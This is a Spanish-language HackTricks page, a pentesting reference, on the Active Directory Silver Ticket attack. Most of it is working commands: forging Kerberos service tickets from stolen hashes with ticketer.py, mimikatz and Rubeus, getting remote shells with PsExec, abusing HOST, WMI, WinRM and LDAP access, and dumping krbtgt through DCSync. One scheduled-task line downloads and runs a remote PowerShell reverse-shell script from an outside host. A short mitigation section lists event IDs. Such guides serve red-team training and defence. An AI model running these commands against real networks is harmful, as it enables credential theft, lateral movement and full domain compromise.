hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md

10 KiB

Silver Ticket

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Si estás interesado en una carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

Silver ticket

El ataque Silver ticket se basa en crear un TGS válido para un servicio una vez que se posee el hash NTLM del servicio (como el hash de la cuenta de PC). Así, es posible acceder a ese servicio forjando un TGS personalizado como cualquier usuario.

En este caso, se posee el hash NTLM de una cuenta de computadora (que es una especie de cuenta de usuario en AD). Por lo tanto, es posible crear un ticket para entrar en esa máquina con privilegios de administrador a través del servicio SMB. Las cuentas de computadora restablecen sus contraseñas cada 30 días por defecto.

También se debe tener en cuenta que es posible Y PREFERIBLE (opsec) forjar tickets usando las claves Kerberos AES (AES128 y AES256). Para saber cómo generar una clave AES lee: sección 4.4 de MS-KILE o Get-KerberosAESKey.ps1.

{% code title="Linux" %}

python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
En Windows, **Mimikatz** puede ser utilizado para **crear** el **ticket**. A continuación, el ticket se **inyecta** con **Rubeus**, y finalmente se puede obtener un shell remoto gracias a **PsExec**.

{% code title="Windows" %}
#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi

{% endcode %}

El servicio CIFS es el que te permite acceder al sistema de archivos de la víctima. Puedes encontrar otros servicios aquí: https://adsecurity.org/?page_id=183. Por ejemplo, puedes usar el servicio HOST para crear una schtask en un ordenador. Luego puedes comprobar si ha funcionado intentando listar las tareas de la víctima: schtasks /S <nombre_del_host> o puedes usar el servicio HOST y RPCSS para ejecutar consultas WMI en un ordenador, pruébalo haciendo: Get-WmiObject -Class win32_operatingsystem -ComputerName <nombre_del_host>

Mitigación

ID de eventos de Silver ticket (más sigilosos que golden ticket):

  • 4624: Inicio de sesión de cuenta
  • 4634: Cierre de sesión de cuenta
  • 4672: Inicio de sesión de administrador

Más información sobre Silver Tickets en ired.team

Servicios Disponibles

Tipo de Servicio Service Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Dependiendo del SO también:

WSMAN

RPCSS

WinRM

HOST

HTTP

En algunas ocasiones puedes simplemente pedir: WINRM

Tareas Programadas HOST
Compartición de Archivos de Windows, también psexec CIFS
Operaciones LDAP, incluido DCSync LDAP
Herramientas de Administración Remota de Servidores Windows

RPCSS

LDAP

CIFS

Golden Tickets krbtgt

Usando Rubeus puedes pedir todos estos tickets usando el parámetro:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Abusando de los tickets de servicio

En los siguientes ejemplos imaginemos que el ticket se obtiene suplantando la cuenta del administrador.

CIFS

Con este ticket podrás acceder a las carpetas C$ y ADMIN$ vía SMB (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto simplemente haciendo algo como:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

También podrás obtener una shell dentro del host o ejecutar comandos arbitrarios usando psexec:

{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HOST

Con este permiso puedes generar tareas programadas en computadoras remotas y ejecutar comandos arbitrarios:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Con estos tickets puedes ejecutar WMI en el sistema víctima:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Encuentra más información sobre wmiexec en la siguiente página:

{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

Con acceso winrm a un ordenador puedes acceder a él e incluso obtener un PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Consulte la siguiente página para aprender más formas de conectarse con un host remoto usando winrm:

{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} Tenga en cuenta que winrm debe estar activo y escuchando en la computadora remota para acceder a ella. {% endhint %}

LDAP

Con este privilegio, puede volcar la base de datos del DC utilizando DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Aprende más sobre DCSync en la siguiente página:

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

Si estás interesado en una carrera en hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).

{% embed url="https://www.stmcyber.com/careers" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: